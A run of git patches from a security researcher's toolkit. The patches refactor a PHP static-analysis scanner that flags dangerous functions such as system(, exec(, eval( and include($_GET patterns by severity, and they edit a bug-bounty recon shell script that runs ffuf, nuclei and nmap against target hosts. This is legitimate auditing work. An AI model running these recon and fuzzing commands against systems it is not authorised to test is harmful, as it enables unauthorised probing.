FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" From da86b95d839f5fcff7ddc6c8ea73cbaf58c0dba9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 5 Mar 2022 16:54:03 +0000 Subject: [PATCH 100/289] [s0mbra] added disass to RE commands --- s0mbra.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index e697f0c..c22ecff 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -508,6 +508,13 @@ unjar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +disass() { + clear + echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." + objdump -d -x86-asm-syntax=intel $1 > 1.asm + echo -e "\n$BLUE[s0mbra] Done." +} + jadx() { clear echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" @@ -654,6 +661,9 @@ case "$cmd" in unjar) unjar "$2" ;; + disass) + disass "$2" + ;; smb_enum) smb_enum "$2" "$3" "$4" ;; @@ -729,6 +739,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" + echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" From c93225961e9e9828cd4010c9aba9a985f32d6f5c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Mar 2022 11:06:58 +0000 Subject: [PATCH 101/289] [pef] remove include( and require( due to large number of false positives --- pef/imports/pefdefs.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 3aa0375..63c3ba8 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,12 +7,10 @@ "popen(", "pcntl_exec(", "eval(", - "arse_str(", # use arse_str(, because somehow, parse_str causes "IndexError: list index out of range" o_O + "arse_str(", "parse_url(", "preg_replace(", "create_function(", - "include(", - "require(", "passthru(", "shell_exec(", "popen(", @@ -157,4 +155,4 @@ "INSERT.*INTO", "UPDATE.*", "DELETE.*FROM" -] \ No newline at end of file +] From ac7d71f2f9b4b2713b4e8aba303b33926f61e216 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Mar 2022 11:07:58 +0000 Subject: [PATCH 102/289] [pef] remove include( and require( due to large number of false positives --- pef/imports/pefdocs.py | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 4423a84..32d6643 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -53,18 +53,6 @@ "Code Injection, RCE", "medium" ], - "include()": [ - "The include statement includes and evaluates the specified file.", - "", - "Code Injection, RCE", - "high" - ], - "require()": [ - "The include statement includes and evaluates the specified file.", - "", - "Code Injection, RCE", - "high" - ], "passthru()": [ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", From cb122f2b9011d5e8493f72cdb3033f0aa19474d8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 17:45:46 +0000 Subject: [PATCH 103/289] [pef] Added --level argument to define which level of issues should be reported --- pef/pef.py | 89 ++++++++++++++++++++++++++++-------------------------- 1 file changed, 46 insertions(+), 43 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 09a5dcd..a2ac67e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -42,13 +42,13 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, verbose, critical, sql, filename, pattern): + def __init__(self, recursive, verbose, level, sql, filename, pattern): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) self.verbose = verbose # show prev/next lines - self.critical = critical # scan only for critical set of functions + self.level = level # scan only for level set of functions self.sql = sql # scan for inline SQL queries self.filename = filename # name of file/folder to scan self.pattern = pattern # pattern(s) to look for, if set @@ -97,7 +97,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, - verbose) + verbose, self.level) else: if fn in line or atfn in line: self.header_printed = self.header_print( @@ -105,10 +105,10 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, - verbose) + verbose, self.level) return total - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity=None, verbose=False): + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity="", verbose=False, level='ALL'): """ prints formatted code line """ @@ -118,15 +118,6 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li "high": "red" } - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - if verbose == True: - print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) - else: - print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) - # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] @@ -135,36 +126,46 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - if verbose == True: - print("\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline"))) - print(" {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline"))) - print(" Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) + if impact.upper() == level.upper() or level == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + if verbose == True: + print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) + else: + print("{}line {} :: {}{} ".format(beautyConsole.getColor( + "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) + + if verbose == True: + print("\n {}{}{}".format(beautyConsole.getColor( + "white"), description, beautyConsole.getSpecialChar("endline"))) + print(" {}{}{}".format(beautyConsole.getColor( + "grey"), syntax, beautyConsole.getSpecialChar("endline"))) + print(" Potential impact: {}{}{}".format(beautyConsole.getColor( + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - if verbose == True: - print() - if prev_prev_line: - print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + - beautyConsole.getSpecialChar("endline")) - if prev_line: - print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + - beautyConsole.getSpecialChar("endline")) - print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + - beautyConsole.getSpecialChar("endline")) - if next_line: - print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + - beautyConsole.getSpecialChar("endline")) - if next_next_line: - print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + + if verbose == True: + print() + if prev_prev_line: + print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + + beautyConsole.getSpecialChar("endline")) + if prev_line: + print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + + beautyConsole.getSpecialChar("endline")) + print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + beautyConsole.getSpecialChar("endline")) - print() + if next_line: + print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + + beautyConsole.getSpecialChar("endline")) + if next_next_line: + print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + + beautyConsole.getSpecialChar("endline")) + print() return def main(self, src): @@ -195,8 +196,8 @@ def main(self, src): i += 1 line = l.rstrip() - if self.critical: - for fn in pefdefs.critical: + if self.level: + for fn in pefdefs.exploitableFunctions: total = self.analyse_line(l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) else: @@ -204,7 +205,7 @@ def main(self, src): total = self.analyse_line(l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) - if self.critical == False and not self.pattern: + if self.level == False and not self.pattern: for dp in pefdefs.fileInclude: total = self.analyse_line(l, i, dp, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) @@ -278,7 +279,7 @@ def run(self): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( - "-c", "--critical", help="look only for critical functions", action="store_true") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") parser.add_argument( "-p", "--pattern", help="look only for particular code pattern(s)") parser.add_argument( @@ -293,14 +294,14 @@ def run(self): verbose = True if args.verbose else False sql = True if args.sql else False - critical = True if args.critical else False + level = args.level if args.level else 'ALL' pattern = args.pattern.split(',') if args.pattern else [] filename = args.file try: # main orutine starts here engine = PefEngine(args.recursive, verbose, - critical, sql, filename, pattern) + level, sql, filename, pattern) engine.run() except IndexError as e: print("IndexError in {}: {}".format(filename, e)) @@ -310,6 +311,8 @@ def run(self): print("Requested file not found, check the path :)") except IsADirectoryError as e: print(f"{filename} is a directory and requires -r flag") + except UnicodeDecodeError as e: + pass except Exception as e: print("Unexpected error:") print(type(e)) From d6514403cb088564944011d4904b616bb91880bc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 17:50:07 +0000 Subject: [PATCH 104/289] [pef] Removed critical from pefdefs.py; define some of them as 'critical' in pefdocs.py, tio use with --level CRITICAL --- pef/imports/pefdefs.py | 26 -------------------------- pef/imports/pefdocs.py | 20 ++++++++++---------- pef/pef.py | 5 ++++- 3 files changed, 14 insertions(+), 37 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 63c3ba8..81075f7 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -90,32 +90,6 @@ "file_put_contents(" ] -# only high severity functions, for quick scan of large codebase -# to find oversighted leading to RCE, LFI, Command Injections, SQLi etc. -critical = [ - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "passthru(", - "shell_exec(", - "extract(", - "putenv(", - "unserialize(", - "readfile(", - "file_get_contents(", - "mysql_query(", - "mssql_query(", - "sqlite_query(", - "pg_query(", - "__wakeup(", - "__destruct(", - "__sleep(", - "__call(", - "__callStatic(", - "file_put_contents(" -] # dangerous global(s) globalVars = [ diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 32d6643..fb7a50f 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -9,13 +9,13 @@ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", "RCE", - "high" + "critical" ], "exec()": [ "exec - Execute an external program", "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", "RCE", - "high" + "critical" ], "call_user_func_array()": [ "Call a callback with an array of parameters", @@ -39,7 +39,7 @@ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", "RCE", - "high" + "critical" ], "preg_replace()": [ "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", @@ -57,13 +57,13 @@ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", "RCE", - "high" + "critical" ], "shell_exec()": [ "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", "shell_exec ( string $cmd ) : string", "RCE", - "high" + "critical" ], "popen()": [ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", @@ -81,13 +81,13 @@ "Executes the program with the given arguments.", "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", "RCE", - "high" + "critical" ], "extract()": [ "Import variables into the current symbol table from an array", "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", "Code Injection", - "medium" + "high" ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", @@ -159,13 +159,13 @@ "Reads a file and writes it to the output buffer.", "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", "Code Injection, LFI, RFI", - "medium" + "high" ], "file_get_contents()": [ "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", "Code Injection, LFI, RFI", - "medium" + "high" ], "show_source()": [ "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", @@ -405,7 +405,7 @@ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "high" ], "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", diff --git a/pef/pef.py b/pef/pef.py index a2ac67e..bb05424 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -115,7 +115,8 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li impact_color = { "low": "green", "medium": "yellow", - "high": "red" + "high": "red", + "critical": "red" } # print legend only if there i sentry in pefdocs.py @@ -258,6 +259,8 @@ def run(self): SUMMARY = "{}==> {}:\t {}" + print(SUMMARY.format( + beautyConsole.getColor("red"), "CRITICAL", self.severity.get("critical"))) print(SUMMARY.format( beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) print(SUMMARY.format(beautyConsole.getColor( From 15b5eb7a47766943be52f73bfa7748ca099ae82f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 18:04:29 +0000 Subject: [PATCH 105/289] [pef] refactoring --- pef/pef.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index bb05424..1491c44 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -176,8 +176,6 @@ def main(self, src): f = open(src, "r") i = 0 total = 0 - filenamelength = len(src) - linelength = 97 all_lines = f.readlines() self.header_printed = False @@ -226,7 +224,7 @@ def main(self, src): if total > 0: print(beautyConsole.getColor("red") + - "Found %d interesting entries\n" % (total) + + "\nFound %d interesting entries\n" % (total) + beautyConsole.getSpecialChar("endline")) return total # return how many findings in current file From b1f93635e5f74306795e856e580bf0a0e750194f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 11 Mar 2022 18:14:49 +0000 Subject: [PATCH 106/289] [pef] refactoring; simlified output --- pef/imports/pefdefs.py | 25 +----- pef/pef.py | 191 ++++------------------------------------- 2 files changed, 21 insertions(+), 195 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 81075f7..7b5a6be 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -87,21 +87,12 @@ "__destruct(", "__sleep(", "filter_var(", - "file_put_contents(" -] - - -# dangerous global(s) -globalVars = [ + "file_put_contents(", "$_POST", "$_GET", "$_COOKIE", "$_REQUEST", - "$_SERVER" -] - -# dangerous patterns - LFI/RFI -fileInclude = [ + "$_SERVER", "include($_GET", "require($_GET", "include_once($_GET", @@ -109,22 +100,14 @@ "include($_REQUEST", "require($_REQUEST", "include_once($_REQUEST", - "require_once($_REQUEST" -] - -# reflected properties which might leads to eg. XSS -reflectedProperties = [ + "require_once($_REQUEST", "$_SERVER[\"PHP_SELF\"]", "$_SERVER[\"SERVER_ADDR\"]", "$_SERVER[\"SERVER_NAME\"]", "$_SERVER[\"REMOTE_ADDR\"]", "$_SERVER[\"REMOTE_HOST\"]", "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]" -] - -# other patterns -otherPatterns = [ + "$_SERVER[\"HTTP_USER_AGENT\"]", "SELECT.*FROM", "INSERT.*INTO", "UPDATE.*", diff --git a/pef/pef.py b/pef/pef.py index 1491c44..e4e133c 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -42,16 +42,13 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, verbose, level, sql, filename, pattern): + def __init__(self, recursive, level, filename): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) - self.verbose = verbose # show prev/next lines self.level = level # scan only for level set of functions - self.sql = sql # scan for inline SQL queries self.filename = filename # name of file/folder to scan - self.pattern = pattern # pattern(s) to look for, if set self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -65,17 +62,7 @@ def __init__(self, recursive, verbose, level, sql, filename, pattern): self.header_printed = False return - def header_print(self, file_name, header_print): - """ - prints file header - """ - if self.header_printed == False: - print(beautyConsole.getColor("white") + "-" * 100) - print("FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n") - self.header_printed = True - return self.header_printed - - def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total): + def analyse_line(self, l, i, fn, f, line): """ analysis of single line of code; searches for pattern (passed as fn and atfn) occurence @@ -88,27 +75,12 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - # try to match --pattern if set, using RegExp - if self.pattern: - pattern = re.compile(self.pattern[0]) - if re.match(pattern, line): - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose, self.level) - else: - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose, self.level) - return total - - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity="", verbose=False, level='ALL'): + if fn in line or atfn in line: + self.print_code_line(f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, + self.level) + return + + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): """ prints formatted code line """ @@ -122,112 +94,38 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ - 0] - syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] if impact.upper() == level.upper() or level == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" - if verbose == True: - print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: - print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) - - if verbose == True: - print("\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline"))) - print(" {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline"))) - print(" Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) + print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( + "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - - if verbose == True: - print() - if prev_prev_line: - print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + - beautyConsole.getSpecialChar("endline")) - if prev_line: - print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + - beautyConsole.getSpecialChar("endline")) - print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + - beautyConsole.getSpecialChar("endline")) - if next_line: - print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + - beautyConsole.getSpecialChar("endline")) - if next_next_line: - print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + - beautyConsole.getSpecialChar("endline")) - print() return def main(self, src): """ main engine loop """ - f = open(src, "r") + f = open(src, "r", encoding="ISO-8859-1") i = 0 - total = 0 all_lines = f.readlines() - self.header_printed = False - prev_prev_line = "" - prev_line = "" - next_line = "" - next_next_line = "" for l in all_lines: - if i > 2: - prev_prev_line = all_lines[i - 2].rstrip() - if i > 1: - prev_line = all_lines[i - 1].rstrip() - if i < (len(all_lines) - 1): - next_line = all_lines[i + 1].rstrip() - if i < (len(all_lines) - 2): - next_next_line = all_lines[i + 2].rstrip() - i += 1 line = l.rstrip() if self.level: for fn in pefdefs.exploitableFunctions: - total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - else: - for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): - total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if self.level == False and not self.pattern: - for dp in pefdefs.fileInclude: - total = self.analyse_line(l, i, dp, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - for globalvars in pefdefs.globalVars: - total = self.analyse_line(l, i, globalvars, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + self.analyse_line(l, i, fn, f, line) - for refl in pefdefs.reflectedProperties: - total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if sql == True: - for refl in pefdefs.otherPatterns: - total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if total > 0: - print(beautyConsole.getColor("red") + - "\nFound %d interesting entries\n" % (total) + - beautyConsole.getSpecialChar("endline")) - - return total # return how many findings in current file + return # return how many findings in current file def run(self): """ @@ -240,32 +138,11 @@ def run(self): if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res else: self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) print(beautyConsole.getColor("white") + "-" * 100) - - print( - f"{beautyConsole.getColor('green')}\n>>> {self.scanned_files} file(s) scanned") - if self.found_entries > 0: - print( - f"{beautyConsole.getColor('red')}>>> {self.found_entries} interesting entries found\n") - else: - print(" No interesting entries found :( \n") - - SUMMARY = "{}==> {}:\t {}" - - print(SUMMARY.format( - beautyConsole.getColor("red"), "CRITICAL", self.severity.get("critical"))) - print(SUMMARY.format( - beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) - print(SUMMARY.format(beautyConsole.getColor( - "yellow"), "MEDIUM", self.severity.get("medium"))) - print(SUMMARY.format(beautyConsole.getColor( - "green"), "LOW", self.severity.get("low"))) - print("\n") @@ -281,47 +158,13 @@ def run(self): "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") - parser.add_argument( - "-p", "--pattern", help="look only for particular code pattern(s)") - parser.add_argument( - "-s", "--sql", help="look for raw SQL queries", action="store_true") - parser.add_argument( - "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") - parser.add_argument( - "-n", "--noglobals", help="only functions (no $_XXX)", action="store_true") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() - verbose = True if args.verbose else False - sql = True if args.sql else False - level = args.level if args.level else 'ALL' - pattern = args.pattern.split(',') if args.pattern else [] + level = args.level.upper() if args.level else 'ALL' filename = args.file - try: - # main orutine starts here - engine = PefEngine(args.recursive, verbose, - level, sql, filename, pattern) - engine.run() - except IndexError as e: - print("IndexError in {}: {}".format(filename, e)) - except UnicodeDecodeError as e: - print("UnicodeDecodeError in {}: {}".format(filename, e)) - except FileNotFoundError as e: - print("Requested file not found, check the path :)") - except IsADirectoryError as e: - print(f"{filename} is a directory and requires -r flag") - except UnicodeDecodeError as e: - pass - except Exception as e: - print("Unexpected error:") - print(type(e)) - print(e.args) - print(e) - finally: - # cleaning up - - # exiting - print("[+] Done") - exit(0) + # main orutine starts here + engine = PefEngine(args.recursive, level, filename) + engine.run() From c81864414ffc9355ddc94d95cb94a68c596e38e4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Mar 2022 15:39:07 +0000 Subject: [PATCH 107/289] [s0mbra] Remove nuclei --- s0mbra.sh | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c22ecff..7f1b4f3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -241,13 +241,12 @@ recon() { httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration - echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" + echo -e "\n$GREEN--> ffuf on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -260,7 +259,7 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? +# does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 @@ -271,7 +270,6 @@ ransack() { VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) - NUCLEI=$(echo $2|grep 'nuclei'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) # set proto: @@ -323,11 +321,6 @@ ransack() { feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log fi - # nuclei - if [[ $NUCLEI -eq "1" ]]; then - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log - fi - # x8 if [[ $X8 -eq "1" ]]; then x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 @@ -707,8 +700,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" 